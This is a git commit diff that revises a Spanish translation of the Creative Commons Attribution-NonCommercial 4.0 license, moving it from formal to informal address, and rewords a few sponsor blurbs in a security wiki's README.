Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md

This commit is contained in:
Translator 2025-01-03 12:04:13 +00:00
parent 2f2432e55e
commit 08d1db07a2
289 changed files with 12975 additions and 16472 deletions

View File

@ -17,83 +17,83 @@ Creative Commons Corporation (“Creative Commons”) no es un bufete de abogado
Las licencias públicas de Creative Commons proporcionan un conjunto estándar de términos y condiciones que los creadores y otros titulares de derechos pueden usar para compartir obras originales de autoría y otro material sujeto a derechos de autor y ciertos otros derechos especificados en la licencia pública a continuación. Las siguientes consideraciones son solo para fines informativos, no son exhaustivas y no forman parte de nuestras licencias. Las licencias públicas de Creative Commons proporcionan un conjunto estándar de términos y condiciones que los creadores y otros titulares de derechos pueden usar para compartir obras originales de autoría y otro material sujeto a derechos de autor y ciertos otros derechos especificados en la licencia pública a continuación. Las siguientes consideraciones son solo para fines informativos, no son exhaustivas y no forman parte de nuestras licencias.
- **Consideraciones para licenciantes:** Nuestras licencias públicas están destinadas a ser utilizadas por aquellos autorizados para dar al público permiso para usar material de maneras que de otro modo estarían restringidas por derechos de autor y ciertos otros derechos. Nuestras licencias son irrevocables. Los licenciantes deben leer y comprender los términos y condiciones de la licencia que elijan antes de aplicarla. Los licenciantes también deben asegurar todos los derechos necesarios antes de aplicar nuestras licencias para que el público pueda reutilizar el material como se espera. Los licenciantes deben marcar claramente cualquier material que no esté sujeto a la licencia. Esto incluye otro material con licencia CC, o material utilizado bajo una excepción o limitación a los derechos de autor. [Más consideraciones para licenciantes](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). - **Consideraciones para licenciantes:** Nuestras licencias públicas están destinadas a ser utilizadas por aquellos autorizados para dar al público permiso para usar material de maneras que de otro modo estarían restringidas por derechos de autor y ciertos otros derechos. Nuestras licencias son irrevocables. Los licenciantes deben leer y comprender los términos y condiciones de la licencia que elijan antes de aplicarla. Los licenciantes también deben asegurar todos los derechos necesarios antes de aplicar nuestras licencias para que el público pueda reutilizar el material como se espera. Los licenciantes deben marcar claramente cualquier material que no esté sujeto a la licencia. Esto incluye otro material con licencia CC, o material utilizado bajo una excepción o limitación al derecho de autor. [Más consideraciones para licenciantes](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
- **Consideraciones para el público:** Al usar una de nuestras licencias públicas, un licenciante otorga al público permiso para usar el material licenciado bajo términos y condiciones especificados. Si el permiso del licenciante no es necesario por alguna razón, por ejemplo, debido a alguna excepción o limitación aplicable a los derechos de autor, entonces ese uso no está regulado por la licencia. Nuestras licencias otorgan solo permisos bajo derechos de autor y ciertos otros derechos que un licenciante tiene autoridad para otorgar. El uso del material licenciado aún puede estar restringido por otras razones, incluyendo porque otros tienen derechos de autor u otros derechos sobre el material. Un licenciante puede hacer solicitudes especiales, como pedir que todos los cambios sean marcados o descritos. Aunque no es requerido por nuestras licencias, se le anima a respetar esas solicitudes cuando sea razonable. [Más consideraciones para el público](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). - **Consideraciones para el público:** Al usar una de nuestras licencias públicas, un licenciante otorga al público permiso para usar el material licenciado bajo términos y condiciones especificados. Si el permiso del licenciante no es necesario por alguna razón, por ejemplo, debido a alguna excepción o limitación aplicable al derecho de autor, entonces ese uso no está regulado por la licencia. Nuestras licencias otorgan solo permisos bajo derechos de autor y ciertos otros derechos que un licenciante tiene autoridad para otorgar. El uso del material licenciado aún puede estar restringido por otras razones, incluyendo porque otros tienen derechos de autor u otros derechos sobre el material. Un licenciante puede hacer solicitudes especiales, como pedir que todos los cambios sean marcados o descritos. Aunque no es requerido por nuestras licencias, se le anima a respetar esas solicitudes cuando sea razonable. [Más consideraciones para el público](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
# Licencia Pública de Atribución-NoComercial 4.0 Internacional de Creative Commons # Licencia Pública de Atribución-NoComercial 4.0 Internacional de Creative Commons
Al ejercer los Derechos Licenciados (definidos a continuación), Usted acepta y se compromete a cumplir con los términos y condiciones de esta Licencia Pública de Atribución-NoComercial 4.0 Internacional ("Licencia Pública"). En la medida en que esta Licencia Pública pueda interpretarse como un contrato, se le otorgan los Derechos Licenciados en consideración a su aceptación de estos términos y condiciones, y el Licenciante le otorga tales derechos en consideración a los beneficios que el Licenciante recibe al hacer el Material Licenciado disponible bajo estos términos y condiciones. Al ejercer los Derechos Licenciados (definidos a continuación), Aceptas y acuerdas estar sujeto a los términos y condiciones de esta Licencia Pública de Atribución-NoComercial 4.0 Internacional ("Licencia Pública"). En la medida en que esta Licencia Pública pueda interpretarse como un contrato, se te otorgan los Derechos Licenciados en consideración a tu aceptación de estos términos y condiciones, y el Licenciante te otorga tales derechos en consideración a los beneficios que el Licenciante recibe al hacer el Material Licenciado disponible bajo estos términos y condiciones.
## Sección 1 Definiciones. ## Sección 1 Definiciones.
a. **Material Adaptado** significa material sujeto a Derechos de Autor y Derechos Similares que se deriva de o se basa en el Material Licenciado y en el que el Material Licenciado es traducido, alterado, arreglado, transformado o modificado de otra manera de una manera que requiere permiso bajo los Derechos de Autor y Derechos Similares que posee el Licenciante. A efectos de esta Licencia Pública, donde el Material Licenciado es una obra musical, actuación o grabación de sonido, el Material Adaptado siempre se produce donde el Material Licenciado está sincronizado en relación temporal con una imagen en movimiento. a. **Material Adaptado** significa material sujeto a Derechos de Autor y Derechos Similares que se deriva de o se basa en el Material Licenciado y en el que el Material Licenciado es traducido, alterado, arreglado, transformado o modificado de otra manera de una manera que requiere permiso bajo los Derechos de Autor y Derechos Similares que posee el Licenciante. A efectos de esta Licencia Pública, donde el Material Licenciado es una obra musical, actuación o grabación de sonido, el Material Adaptado siempre se produce donde el Material Licenciado está sincronizado en relación temporal con una imagen en movimiento.
b. **Licencia del Adaptador** significa la licencia que Usted aplica a sus Derechos de Autor y Derechos Similares en sus contribuciones al Material Adaptado de acuerdo con los términos y condiciones de esta Licencia Pública. b. **Licencia del Adaptador** significa la licencia que aplicas a tus Derechos de Autor y Derechos Similares en tus contribuciones al Material Adaptado de acuerdo con los términos y condiciones de esta Licencia Pública.
c. **Derechos de Autor y Derechos Similares** significa derechos de autor y/o derechos similares estrechamente relacionados con derechos de autor, incluyendo, sin limitación, actuación, transmisión, grabación de sonido y Derechos de Base de Datos Sui Generis, sin importar cómo se etiqueten o clasifiquen los derechos. A efectos de esta Licencia Pública, los derechos especificados en la Sección 2(b)(1)-(2) no son Derechos de Autor y Derechos Similares. c. **Derechos de Autor y Derechos Similares** significa derechos de autor y/o derechos similares estrechamente relacionados con derechos de autor incluyendo, sin limitación, actuación, transmisión, grabación de sonido y Derechos de Base de Datos Sui Generis, sin importar cómo se etiqueten o clasifiquen los derechos. A efectos de esta Licencia Pública, los derechos especificados en la Sección 2(b)(1)-(2) no son Derechos de Autor y Derechos Similares.
d. **Medidas Tecnológicas Efectivas** significa aquellas medidas que, en ausencia de la autoridad adecuada, no pueden ser eludidas bajo leyes que cumplen con las obligaciones bajo el Artículo 11 del Tratado de Derechos de Autor de la OMPI adoptado el 20 de diciembre de 1996, y/o acuerdos internacionales similares. d. **Medidas Tecnológicas Efectivas** significa aquellas medidas que, en ausencia de la autoridad adecuada, no pueden ser eludidas bajo leyes que cumplen obligaciones bajo el Artículo 11 del Tratado de Derechos de Autor de la OMPI adoptado el 20 de diciembre de 1996, y/o acuerdos internacionales similares.
e. **Excepciones y Limitaciones** significa uso justo, trato justo y/o cualquier otra excepción o limitación a los Derechos de Autor y Derechos Similares que se aplique a su uso del Material Licenciado. e. **Excepciones y Limitaciones** significa uso justo, trato justo y/o cualquier otra excepción o limitación a los Derechos de Autor y Derechos Similares que se aplica a tu uso del Material Licenciado.
f. **Material Licenciado** significa la obra artística o literaria, base de datos u otro material al que el Licenciante aplicó esta Licencia Pública. f. **Material Licenciado** significa la obra artística o literaria, base de datos u otro material al que el Licenciante aplicó esta Licencia Pública.
g. **Derechos Licenciados** significa los derechos que se le otorgan a Usted sujetos a los términos y condiciones de esta Licencia Pública, que se limitan a todos los Derechos de Autor y Derechos Similares que se aplican a su uso del Material Licenciado y que el Licenciante tiene autoridad para licenciar. g. **Derechos Licenciados** significa los derechos otorgados a ti sujetos a los términos y condiciones de esta Licencia Pública, que se limitan a todos los Derechos de Autor y Derechos Similares que se aplican a tu uso del Material Licenciado y que el Licenciante tiene autoridad para licenciar.
h. **Licenciante** significa la(s) persona(s) o entidad(s) que otorgan derechos bajo esta Licencia Pública. h. **Licenciante** significa la(s) persona(s) o entidad(s) que otorgan derechos bajo esta Licencia Pública.
i. **NoComercial** significa no destinado principalmente a o dirigido hacia ventaja comercial o compensación monetaria. A efectos de esta Licencia Pública, el intercambio del Material Licenciado por otro material sujeto a Derechos de Autor y Derechos Similares mediante intercambio de archivos digitales o medios similares es NoComercial siempre que no haya pago de compensación monetaria en relación con el intercambio. i. **NoComercial** significa no destinado principalmente a o dirigido hacia ventaja comercial o compensación monetaria. A efectos de esta Licencia Pública, el intercambio del Material Licenciado por otro material sujeto a Derechos de Autor y Derechos Similares mediante intercambio de archivos digitales o medios similares es NoComercial siempre que no haya pago de compensación monetaria en relación con el intercambio.
j. **Compartir** significa proporcionar material al público por cualquier medio o proceso que requiera permiso bajo los Derechos Licenciados, como reproducción, exhibición pública, actuación pública, distribución, difusión, comunicación o importación, y hacer material disponible al público, incluyendo de maneras que los miembros del público puedan acceder al material desde un lugar y en un momento elegidos individualmente por ellos. j. **Compartir** significa proporcionar material al público por cualquier medio o proceso que requiera permiso bajo los Derechos Licenciados, como reproducción, exhibición pública, actuación pública, distribución, difusión, comunicación o importación, y hacer material disponible al público incluyendo de maneras que los miembros del público puedan acceder al material desde un lugar y en un momento elegidos individualmente por ellos.
k. **Derechos de Base de Datos Sui Generis** significa derechos distintos de los derechos de autor que resultan de la Directiva 96/9/CE del Parlamento Europeo y del Consejo de 11 de marzo de 1996 sobre la protección legal de las bases de datos, según enmendada y/o sucedida, así como otros derechos esencialmente equivalentes en cualquier parte del mundo. k. **Derechos de Base de Datos Sui Generis** significa derechos distintos de los derechos de autor que resultan de la Directiva 96/9/CE del Parlamento Europeo y del Consejo de 11 de marzo de 1996 sobre la protección legal de las bases de datos, según enmendada y/o sucedida, así como otros derechos esencialmente equivalentes en cualquier parte del mundo.
l. **Usted** significa la persona o entidad que ejerce los Derechos Licenciados bajo esta Licencia Pública. Su tiene un significado correspondiente. l. **** significa la persona o entidad que ejerce los Derechos Licenciados bajo esta Licencia Pública. Tu tiene un significado correspondiente.
## Sección 2 Alcance. ## Sección 2 Alcance.
a. **_Concesión de licencia._** a. **_Concesión de licencia._**
1. Sujeto a los términos y condiciones de esta Licencia Pública, el Licenciante por la presente le otorga a Usted una licencia mundial, libre de regalías, no sublicenciable, no exclusiva e irrevocable para ejercer los Derechos Licenciados en el Material Licenciado para: 1. Sujeto a los términos y condiciones de esta Licencia Pública, el Licenciante por la presente te otorga una licencia mundial, libre de regalías, no sublicenciable, no exclusiva, irrevocable para ejercer los Derechos Licenciados en el Material Licenciado para:
A. reproducir y Compartir el Material Licenciado, en su totalidad o en parte, solo para fines NoComerciales; y A. reproducir y Compartir el Material Licenciado, en su totalidad o en parte, solo para fines NoComerciales; y
B. producir, reproducir y Compartir Material Adaptado solo para fines NoComerciales. B. producir, reproducir y Compartir Material Adaptado solo para fines NoComerciales.
2. **Excepciones y Limitaciones.** Para evitar dudas, donde se apliquen Excepciones y Limitaciones a su uso, esta Licencia Pública no se aplica, y no necesita cumplir con sus términos y condiciones. 2. **Excepciones y Limitaciones.** Para evitar dudas, donde se apliquen Excepciones y Limitaciones a tu uso, esta Licencia Pública no se aplica, y no necesitas cumplir con sus términos y condiciones.
3. **Plazo.** El plazo de esta Licencia Pública se especifica en la Sección 6(a). 3. **Plazo.** El plazo de esta Licencia Pública se especifica en la Sección 6(a).
4. **Medios y formatos; modificaciones técnicas permitidas.** El Licenciante le autoriza a ejercer los Derechos Licenciados en todos los medios y formatos, ya sean conocidos ahora o creados en el futuro, y a hacer modificaciones técnicas necesarias para hacerlo. El Licenciante renuncia y/o acuerda no afirmar ningún derecho o autoridad para prohibirle hacer modificaciones técnicas necesarias para ejercer los Derechos Licenciados, incluyendo modificaciones técnicas necesarias para eludir Medidas Tecnológicas Efectivas. A efectos de esta Licencia Pública, simplemente hacer modificaciones autorizadas por esta Sección 2(a)(4) nunca produce Material Adaptado. 4. **Medios y formatos; modificaciones técnicas permitidas.** El Licenciante te autoriza a ejercer los Derechos Licenciados en todos los medios y formatos, ya sean conocidos ahora o creados en el futuro, y a hacer modificaciones técnicas necesarias para hacerlo. El Licenciante renuncia y/o acuerda no afirmar ningún derecho o autoridad para prohibirte hacer modificaciones técnicas necesarias para ejercer los Derechos Licenciados, incluyendo modificaciones técnicas necesarias para eludir Medidas Tecnológicas Efectivas. A efectos de esta Licencia Pública, simplemente hacer modificaciones autorizadas por esta Sección 2(a)(4) nunca produce Material Adaptado.
5. **Destinatarios posteriores.** 5. **Destinatarios posteriores.**
A. **Oferta del Licenciante Material Licenciado.** Cada destinatario del Material Licenciado recibe automáticamente una oferta del Licenciante para ejercer los Derechos Licenciados bajo los términos y condiciones de esta Licencia Pública. A. **Oferta del Licenciante Material Licenciado.** Cada destinatario del Material Licenciado recibe automáticamente una oferta del Licenciante para ejercer los Derechos Licenciados bajo los términos y condiciones de esta Licencia Pública.
B. **Sin restricciones posteriores.** No puede ofrecer ni imponer términos o condiciones adicionales o diferentes sobre, ni aplicar Medidas Tecnológicas Efectivas al, Material Licenciado si hacerlo restringe el ejercicio de los Derechos Licenciados por cualquier destinatario del Material Licenciado. B. **Sin restricciones posteriores.** No puedes ofrecer o imponer términos o condiciones adicionales o diferentes sobre, o aplicar Medidas Tecnológicas Efectivas al, Material Licenciado si hacerlo restringe el ejercicio de los Derechos Licenciados por cualquier destinatario del Material Licenciado.
6. **Sin respaldo.** Nada en esta Licencia Pública constituye o puede interpretarse como permiso para afirmar o implicar que Usted está, o que su uso del Material Licenciado está, conectado con, o patrocinado, respaldado o concedido estatus oficial por, el Licenciante u otros designados para recibir atribución como se proporciona en la Sección 3(a)(1)(A)(i). 6. **Sin respaldo.** Nada en esta Licencia Pública constituye o puede interpretarse como permiso para afirmar o implicar que tú eres, o que tu uso del Material Licenciado es, conectado con, o patrocinado, respaldado o concedido estatus oficial por, el Licenciante u otros designados para recibir atribución como se proporciona en la Sección 3(a)(1)(A)(i).
b. **_Otros derechos._** b. **_Otros derechos._**
1. Los derechos morales, como el derecho de integridad, no están licenciados bajo esta Licencia Pública, ni tampoco los derechos de publicidad, privacidad y/o otros derechos de personalidad similares; sin embargo, en la medida de lo posible, el Licenciante renuncia y/o acuerda no afirmar tales derechos que posee el Licenciante en la medida limitada necesaria para permitirle ejercer los Derechos Licenciados, pero no de otra manera. 1. Los derechos morales, como el derecho de integridad, no están licenciados bajo esta Licencia Pública, ni tampoco los derechos de publicidad, privacidad y/o otros derechos de personalidad similares; sin embargo, en la medida de lo posible, el Licenciante renuncia y/o acuerda no afirmar tales derechos que posee el Licenciante en la medida limitada necesaria para permitirte ejercer los Derechos Licenciados, pero no de otra manera.
2. Los derechos de patente y marca no están licenciados bajo esta Licencia Pública. 2. Los derechos de patente y marca no están licenciados bajo esta Licencia Pública.
3. En la medida de lo posible, el Licenciante renuncia a cualquier derecho a cobrar regalías de Usted por el ejercicio de los Derechos Licenciados, ya sea directamente o a través de una sociedad de gestión bajo cualquier esquema de licencia voluntaria o renunciable o de licencia obligatoria. En todos los demás casos, el Licenciante se reserva expresamente cualquier derecho a cobrar tales regalías, incluyendo cuando el Material Licenciado se utiliza de otra manera que no sea para fines NoComerciales. 3. En la medida de lo posible, el Licenciante renuncia a cualquier derecho a cobrar regalías de ti por el ejercicio de los Derechos Licenciados, ya sea directamente o a través de una sociedad de gestión bajo cualquier esquema de licencia voluntaria o renunciable o de licencia obligatoria. En todos los demás casos, el Licenciante se reserva expresamente cualquier derecho a cobrar tales regalías, incluyendo cuando el Material Licenciado se utiliza de otra manera que no sea para fines NoComerciales.
## Sección 3 Condiciones de la Licencia. ## Sección 3 Condiciones de la Licencia.
Su ejercicio de los Derechos Licenciados está expresamente sujeto a las siguientes condiciones. Tu ejercicio de los Derechos Licenciados está expresamente sujeto a las siguientes condiciones.
a. **_Atribución._** a. **_Atribución._**
1. Si Usted Comparte el Material Licenciado (incluyendo en forma modificada), debe: 1. Si Compartes el Material Licenciado (incluyendo en forma modificada), debes:
A. retener lo siguiente si es proporcionado por el Licenciante con el Material Licenciado: A. retener lo siguiente si es proporcionado por el Licenciante con el Material Licenciado:
i. identificación del creador(es) del Material Licenciado y cualquier otro designado para recibir atribución, de cualquier manera razonable solicitada por el Licenciante (incluyendo por seudónimo si se designa); i. identificación del creador(es) del Material Licenciado y cualquier otro designado para recibir atribución, de cualquier manera razonable solicitada por el Licenciante (incluyendo por seudónimo si se designa);
ii. un aviso de derechos de autor; ii. un aviso de copyright;
iii. un aviso que se refiera a esta Licencia Pública; iii. un aviso que se refiera a esta Licencia Pública;
@ -101,47 +101,47 @@ iv. un aviso que se refiera a la renuncia de garantías;
v. un URI o hipervínculo al Material Licenciado en la medida razonablemente práctica; v. un URI o hipervínculo al Material Licenciado en la medida razonablemente práctica;
B. indicar si Usted modificó el Material Licenciado y retener una indicación de cualquier modificación previa; y B. indicar si modificaste el Material Licenciado y retener una indicación de cualquier modificación previa; y
C. indicar que el Material Licenciado está licenciado bajo esta Licencia Pública, e incluir el texto de, o el URI o hipervínculo a, esta Licencia Pública. C. indicar que el Material Licenciado está licenciado bajo esta Licencia Pública, e incluir el texto de, o el URI o hipervínculo a, esta Licencia Pública.
2. Puede satisfacer las condiciones en la Sección 3(a)(1) de cualquier manera razonable basada en el medio, los medios y el contexto en el que Usted Comparte el Material Licenciado. Por ejemplo, puede ser razonable satisfacer las condiciones proporcionando un URI o hipervínculo a un recurso que incluya la información requerida. 2. Puedes satisfacer las condiciones en la Sección 3(a)(1) de cualquier manera razonable basada en el medio, los medios y el contexto en el que Compartes el Material Licenciado. Por ejemplo, puede ser razonable satisfacer las condiciones proporcionando un URI o hipervínculo a un recurso que incluya la información requerida.
3. Si lo solicita el Licenciante, debe eliminar cualquiera de la información requerida por la Sección 3(a)(1)(A) en la medida razonablemente práctica. 3. Si lo solicita el Licenciante, debes eliminar cualquier información requerida por la Sección 3(a)(1)(A) en la medida razonablemente práctica.
4. Si Usted Comparte Material Adaptado que produce, la Licencia del Adaptador que aplica no debe impedir que los destinatarios del Material Adaptado cumplan con esta Licencia Pública. 4. Si Compartes Material Adaptado que produces, la Licencia del Adaptador que aplicas no debe impedir que los destinatarios del Material Adaptado cumplan con esta Licencia Pública.
## Sección 4 Derechos de Base de Datos Sui Generis. ## Sección 4 Derechos de Base de Datos Sui Generis.
Donde los Derechos Licenciados incluyen Derechos de Base de Datos Sui Generis que se aplican a su uso del Material Licenciado: Donde los Derechos Licenciados incluyen Derechos de Base de Datos Sui Generis que se aplican a tu uso del Material Licenciado:
a. para evitar dudas, la Sección 2(a)(1) le otorga el derecho a extraer, reutilizar, reproducir y Compartir todo o una parte sustancial del contenido de la base de datos solo para fines NoComerciales; a. para evitar dudas, la Sección 2(a)(1) te otorga el derecho a extraer, reutilizar, reproducir y Compartir todo o una parte sustancial del contenido de la base de datos solo para fines NoComerciales;
b. si Usted incluye todo o una parte sustancial del contenido de la base de datos en una base de datos en la que tiene Derechos de Base de Datos Sui Generis, entonces la base de datos en la que tiene Derechos de Base de Datos Sui Generis (pero no su contenido individual) es Material Adaptado; y b. si incluyes todo o una parte sustancial del contenido de la base de datos en una base de datos en la que tienes Derechos de Base de Datos Sui Generis, entonces la base de datos en la que tienes Derechos de Base de Datos Sui Generis (pero no su contenido individual) es Material Adaptado; y
c. Debe cumplir con las condiciones en la Sección 3(a) si Usted Comparte todo o una parte sustancial del contenido de la base de datos. c. debes cumplir con las condiciones en la Sección 3(a) si Compartes todo o una parte sustancial del contenido de la base de datos.
Para evitar dudas, esta Sección 4 complementa y no reemplaza sus obligaciones bajo esta Licencia Pública donde los Derechos Licenciados incluyen otros Derechos de Autor y Derechos Similares. Para evitar dudas, esta Sección 4 complementa y no reemplaza tus obligaciones bajo esta Licencia Pública donde los Derechos Licenciados incluyen otros Derechos de Autor y Derechos Similares.
## Sección 5 Renuncia de Garantías y Limitación de Responsabilidad. ## Sección 5 Renuncia de Garantías y Limitación de Responsabilidad.
a. **A menos que el Licenciante asuma por separado, en la medida de lo posible, el Licenciante ofrece el Material Licenciado tal cual y según disponibilidad, y no hace representaciones ni garantías de ningún tipo sobre el Material Licenciado, ya sea expresas, implícitas, estatutarias u otras. Esto incluye, sin limitación, garantías de título, comerciabilidad, idoneidad para un propósito particular, no infracción, ausencia de defectos latentes u otros, precisión, o la presencia o ausencia de errores, ya sea conocidos o descubribles. Donde las renuncias de garantías no están permitidas en su totalidad o en parte, esta renuncia puede no aplicarse a Usted.** a. **A menos que el Licenciante asuma por separado, en la medida de lo posible, el Licenciante ofrece el Material Licenciado tal cual y según disponibilidad, y no hace representaciones ni garantías de ningún tipo sobre el Material Licenciado, ya sean expresas, implícitas, estatutarias u otras. Esto incluye, sin limitación, garantías de título, comerciabilidad, idoneidad para un propósito particular, no infracción, ausencia de defectos latentes u otros, precisión, o la presencia o ausencia de errores, ya sean conocidos o descubribles. Donde las renuncias de garantías no están permitidas en su totalidad o en parte, esta renuncia puede no aplicarse a ti.**
b. **En la medida de lo posible, en ningún caso el Licenciante será responsable ante Usted bajo ninguna teoría legal (incluyendo, sin limitación, negligencia) o de otro modo por cualquier pérdida, costo, gasto o daño directo, especial, indirecto, incidental, consecuente, punitivo, ejemplar u otros que surjan de esta Licencia Pública o del uso del Material Licenciado, incluso si el Licenciante ha sido advertido de la posibilidad de tales pérdidas, costos, gastos o daños. Donde una limitación de responsabilidad no está permitida en su totalidad o en parte, esta limitación puede no aplicarse a Usted.** b. **En la medida de lo posible, en ningún caso el Licenciante será responsable ante ti bajo ninguna teoría legal (incluyendo, sin limitación, negligencia) o de otro modo por cualquier pérdida, costo, gasto o daño directo, especial, indirecto, incidental, consecuente, punitivo, ejemplar u otros que surjan de esta Licencia Pública o del uso del Material Licenciado, incluso si el Licenciante ha sido advertido de la posibilidad de tales pérdidas, costos, gastos o daños. Donde una limitación de responsabilidad no está permitida en su totalidad o en parte, esta limitación puede no aplicarse a ti.**
c. La renuncia de garantías y la limitación de responsabilidad proporcionadas anteriormente se interpretarán de manera que, en la medida de lo posible, se asemeje más a una renuncia absoluta y a la renuncia de toda responsabilidad. c. La renuncia de garantías y la limitación de responsabilidad proporcionadas anteriormente se interpretarán de manera que, en la medida de lo posible, se asemeje más a una renuncia absoluta y a una exención de toda responsabilidad.
## Sección 6 Plazo y Terminación. ## Sección 6 Plazo y Terminación.
a. Esta Licencia Pública se aplica durante el plazo de los Derechos de Autor y Derechos Similares licenciados aquí. Sin embargo, si Usted no cumple con esta Licencia Pública, entonces sus derechos bajo esta Licencia Pública se terminan automáticamente. a. Esta Licencia Pública se aplica durante el plazo de los Derechos de Autor y Derechos Similares licenciados aquí. Sin embargo, si no cumples con esta Licencia Pública, entonces tus derechos bajo esta Licencia Pública se terminan automáticamente.
b. Donde su derecho a usar el Material Licenciado se ha terminado bajo la Sección 6(a), se restablece: b. Donde tu derecho a usar el Material Licenciado se ha terminado bajo la Sección 6(a), se restablece:
1. automáticamente a partir de la fecha en que se cure la violación, siempre que se cure dentro de los 30 días de su descubrimiento de la violación; o 1. automáticamente a partir de la fecha en que se cure la violación, siempre que se cure dentro de los 30 días de tu descubrimiento de la violación; o
2. tras el restablecimiento expreso por parte del Licenciante. 2. tras el restablecimiento expreso por parte del Licenciante.
Para evitar dudas, esta Sección 6(b) no afecta ningún derecho que el Licenciante pueda tener para buscar remedios por sus violaciones de esta Licencia Pública. Para evitar dudas, esta Sección 6(b) no afecta ningún derecho que el Licenciante pueda tener para buscar remedios por tus violaciones de esta Licencia Pública.
c. Para evitar dudas, el Licenciante también puede ofrecer el Material Licenciado bajo términos o condiciones separadas o dejar de distribuir el Material Licenciado en cualquier momento; sin embargo, hacerlo no terminará esta Licencia Pública. c. Para evitar dudas, el Licenciante también puede ofrecer el Material Licenciado bajo términos o condiciones separadas o dejar de distribuir el Material Licenciado en cualquier momento; sin embargo, hacerlo no terminará esta Licencia Pública.
@ -149,9 +149,9 @@ d. Las Secciones 1, 5, 6, 7 y 8 sobreviven a la terminación de esta Licencia P
## Sección 7 Otros Términos y Condiciones. ## Sección 7 Otros Términos y Condiciones.
a. El Licenciante no estará obligado por ningún término o condición adicional o diferente comunicada por Usted a menos que se acuerde expresamente. a. El Licenciante no estará obligado por ningún término o condición adicional o diferente comunicada por ti a menos que se acuerde expresamente.
b. Cualquier arreglo, entendimiento o acuerdo respecto al Material Licenciado no declarado aquí es independiente de los términos y condiciones de esta Licencia Pública. b. Cualquier arreglo, entendimiento o acuerdo respecto al Material Licenciado no declarado aquí es separado e independiente de los términos y condiciones de esta Licencia Pública.
## Sección 8 Interpretación. ## Sección 8 Interpretación.
@ -159,9 +159,9 @@ a. Para evitar dudas, esta Licencia Pública no reduce, limita, restringe ni imp
b. En la medida de lo posible, si alguna disposición de esta Licencia Pública se considera inaplicable, se reformará automáticamente en la medida mínima necesaria para hacerla aplicable. Si la disposición no puede ser reformada, se separará de esta Licencia Pública sin afectar la aplicabilidad de los términos y condiciones restantes. b. En la medida de lo posible, si alguna disposición de esta Licencia Pública se considera inaplicable, se reformará automáticamente en la medida mínima necesaria para hacerla aplicable. Si la disposición no puede ser reformada, se separará de esta Licencia Pública sin afectar la aplicabilidad de los términos y condiciones restantes.
c. Ningún término o condición de esta Licencia Pública será renunciado y ninguna falta de cumplimiento será consentida a menos que sea acordada expresamente por el Licenciante. c. Ningún término o condición de esta Licencia Pública será renunciado y ninguna falta de cumplimiento será consentida a menos que se acuerde expresamente por el Licenciante.
d. Nada en esta Licencia Pública constituye o puede interpretarse como una limitación o renuncia a privilegios e inmunidades que se aplican al Licenciante o a Usted, incluyendo de los procesos legales de cualquier jurisdicción o autoridad. d. Nada en esta Licencia Pública constituye o puede interpretarse como una limitación o renuncia a privilegios e inmunidades que se aplican al Licenciante o a ti, incluyendo de los procesos legales de cualquier jurisdicción o autoridad.
``` ```
Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.

View File

@ -21,7 +21,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) es una gran empresa de ciberseguridad cuyo lema es **HACK THE UNHACKABLE**. Realizan su propia investigación y desarrollan sus propias herramientas de hacking para **ofrecer varios servicios valiosos de ciberseguridad** como pentesting, Red teams y capacitación. [**STM Cyber**](https://www.stmcyber.com) es una gran empresa de ciberseguridad cuyo lema es **HACK THE UNHACKABLE**. Realizan su propia investigación y desarrollan sus propias herramientas de hacking para **ofrecer varios servicios valiosos de ciberseguridad** como pentesting, equipos rojos y capacitación.
Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stmcyber.com) Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
@ -84,7 +84,7 @@ Accede hoy:
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube** **Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en los negocios.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios, y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos. **Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en los negocios.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios, y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -94,10 +94,10 @@ Accede hoy:
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure> <figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
